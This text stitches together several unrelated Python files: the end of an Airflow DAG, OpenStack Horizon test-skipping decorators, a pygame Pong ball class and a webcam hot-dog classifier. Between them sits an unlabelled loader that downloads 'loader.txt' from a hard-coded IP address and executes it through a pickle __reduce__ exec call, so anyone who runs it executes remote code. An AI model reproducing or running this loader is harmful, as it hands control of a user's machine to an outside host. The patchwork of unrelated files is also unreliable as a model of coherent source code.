        "processed_path": "processed_parquet/{{ ds }}/"
    },
    dag=dag
)

start_read_data >> [parquet_operator_ProductData, parquet_operator_SalesOrderData,
                            parquet_operator_customer_address,
                            parquet_operator_address_data] >> python_operator_processing >> [
    operator_sales_profit_diff_cities, operator_total_profit_top10, operator_Longest_time_span]


#    Licensed under the Apache License, Version 2.0 (the "License"); you may
#    not use this file except in compliance with the License. You may obtain
#    a copy of the License at
#
#         http://www.apache.org/licenses/LICENSE-2.0
#
#    Unless required by applicable law or agreed to in writing, software
#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
#    License for the specific language governing permissions and limitations
#    under the License.

import collections
import functools
import inspect
import os

from openstack_dashboard.test.integration_tests import config

import testtools

def _is_test_method_name(method):
    return method.startswith('test_')

def _is_test_fixture(method):
    return method in ['setUp', 'tearDown']

def _is_test_cls(cls):
    return cls.__name__.startswith('Test')

def _mark_method_skipped(meth, reason):
    """Mark method as skipped by replacing the actual method with wrapper
    that raises the testtools.testcase.TestSkipped exception.
    """

    @functools.wraps(meth)
    def wrapper(*args, **kwargs):
        raise testtools.testcase.TestSkipped(reason)

    return wrapper

def _mark_class_skipped(cls, reason):
    """Mark every test method of the class as skipped."""
    tests = [attr for attr in dir(cls) if _is_test_method_name(attr) or
             _is_test_fixture(attr)]
    for test in tests:
        method = getattr(cls, test)
        if callable(method):
            setattr(cls, test, _mark_method_skipped(method, reason))
    return cls

NOT_TEST_OBJECT_ERROR_MSG = "Decorator can be applied only on test" \
                            " classes and test methods."

def services_required(*req_services):
    """Decorator for marking test's service requirements,
    if requirements are not met in the configuration file
    test is marked as skipped.

    Usage:
    from openstack_dashboard.test.integration_tests.tests import decorators

    @decorators.services_required("sahara")
    class TestLogin(helpers.BaseTestCase):
    .
    .
    .

    from openstack_dashboard.test.integration_tests.tests import decorators

    class TestLogin(helpers.BaseTestCase):

        @decorators.services_required("sahara")
        def test_login(self):
            login_pg = loginpage.LoginPage(self.driver, self.conf)
            .
            .
            .
    """
    def actual_decoration(obj):
        # make sure that we can decorate method and classes as well
        if inspect.isclass(obj):
            if not _is_test_cls(obj):
                raise ValueError(NOT_TEST_OBJECT_ERROR_MSG)
            skip_method = _mark_class_skipped
        else:
            if not _is_test_method_name(obj.__name__):
                raise ValueError(NOT_TEST_OBJECT_ERROR_MSG)
            skip_method = _mark_method_skipped
        # get available services from configuration
        avail_services = config.get_config().service_available
        for req_service in req_services:
            if not getattr(avail_services, req_service, False):
                obj = skip_method(obj, "%s service is required for this test"
                                       " to work properly." % req_service)
                break
        return obj
    return actual_decoration

def skip_because(**kwargs):
    """Decorator for skipping tests hitting known bugs

    Usage:
    from openstack_dashboard.test.integration_tests.tests import decorators

    class TestDashboardHelp(helpers.TestCase):

        @decorators.skip_because(bugs=["1234567"])
        def test_dashboard_help_redirection(self):
        .
        .
        .
    """
    def actual_decoration(obj):
        if inspect.isclass(obj):
            if not _is_test_cls(obj):
                raise ValueError(NOT_TEST_OBJECT_ERROR_MSG)
            skip_method = _mark_class_skipped
        else:
            if not _is_test_method_name(obj.__name__):
                raise ValueError(NOT_TEST_OBJECT_ERROR_MSG)
            skip_method = _mark_method_skipped
        bugs = kwargs.get("bugs")
        if bugs and isinstance(bugs, collections.Iterable):
            for bug in bugs:
                if not bug.isdigit():
                    raise ValueError("bug must be a valid bug number")
            obj = skip_method(obj, "Skipped until Bugs: %s are resolved." %
                              ", ".join([bug for bug in bugs]))
        return obj
    return actual_decoration

def skip_new_design(obj):
    if not os.environ.get('SKIP_NEW_DESIGN'):
        return obj

    if inspect.isclass(obj):
        if not _is_test_cls(obj):
            raise ValueError(NOT_TEST_OBJECT_ERROR_MSG)
        skip = _mark_class_skipped

    else:
        if not _is_test_method_name(obj.__name__):
            raise ValueError(NOT_TEST_OBJECT_ERROR_MSG)
        skip = _mark_method_skipped

    return skip(obj, "New design isn't supported")


#-*- coding : utf-8-*-
#coding:unicode_escape
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://1.15.134.154:8088/loader.txt').read()
#sectr=str(sectr,'UTF-8')
#print(sectr)
#sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)


import pygame
from random import randint
from constants import *

class Ball:

    def __init__(self, x, y):
        self.x = x
        self.y = y
        self.RADIUS = 14
        self.SPEED = 3
        self.x_velocity = self.SPEED
        self.y_velocity = randint(-self.SPEED, self.SPEED)

    def get_pos(self):
        return (self.x, self.y)

    def get_rect(self):
        return pygame.Rect(self.x - self.RADIUS/2, self.y- self.RADIUS/2, self.RADIUS, self.RADIUS)

    def reset(self):
        self.x = WINDOW_WIDTH / 2
        self.y = WINDOW_HEIGHT / 2
        self.x_velocity = self.SPEED
        self.y_velocity = randint(-self.SPEED, self.SPEED)

    def draw(self, win):
        pygame.draw.circle(win, WHITE, self.get_pos(), self.RADIUS)

    def check_collision(self, paddles: list):
        for paddle in paddles:
            if self.get_rect().colliderect(paddle.get_rect()):
                delta_y = (paddle.y + paddle.HEIGHT/2) - self.y
                self.y_velocity = delta_y * -0.15
                self.x_velocity *= -1
                return True

        return False

    def move(self):

        if (self.x <= 0) or (self.x + self.RADIUS >= WINDOW_WIDTH):
            self.reset()

        if (self.y - self.RADIUS <= 0) or (self.y + self.RADIUS >= WINDOW_HEIGHT):
            self.y_velocity *= -1

        self.y += self.y_velocity
        self.x += self.x_velocity


print('Loading libs...')

import numpy as np
import torch
import cv2
from fastai.transforms import *

# the base model of the model we are using
# only necessay for defining the transforms
# can also be skipped but then transforms should be defined explicitly
from fastai.model import resnet34

sz=256 # size of image
print('Loading model...')
model = torch.load('models4deploy/hotdog.h5', map_location='cpu') # load model to cpu
model.eval() # turns model into prediction mode
tfms = tfms_from_model(resnet34, sz) # define transforms

print('running')
cap = cv2.VideoCapture(0) # initiate camera

while(True):
    # Capture frame-by-frame
    ret, frame = cap.read()

    # change the channel order and make pixels in range 0-1
    rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)/255

    proc = tfms[1](rgb) # send image through transforms
    # create a flipped copy of the image, because bug is causing the model to fail when sending a single image
    proc = np.stack([proc, proc[:,:,::-1]])
    proc_V = V(T(proc)) # Turn the array into a torch tensor

    preds = model(proc_V) # get prediction

    prob = np.exp(np.mean(to_np(preds)[:,1])) # turn into mean probability

    # make decision
    if prob > 0.5: label = 'Not Hot Dog'
    else: label = 'Hot Dog'

    # flip image horizontally to give mirror effect when displaying image
    rgb = (rgb[:,::-1,::-1] * 255).astype('uint8')

    # Display the resulting frame with label
    cv2.putText(rgb, label, (10,50), cv2.FONT_HERSHEY_SIMPLEX, 2, (0,0,255), 3)
    cv2.imshow('frame', rgb)
    if cv2.waitKey(1) & 0xFF == ord('q'): # stop program when "Q" is pressed
        break

# When everything done, release the capture
cap.release()
cv2.destroyAllWindows()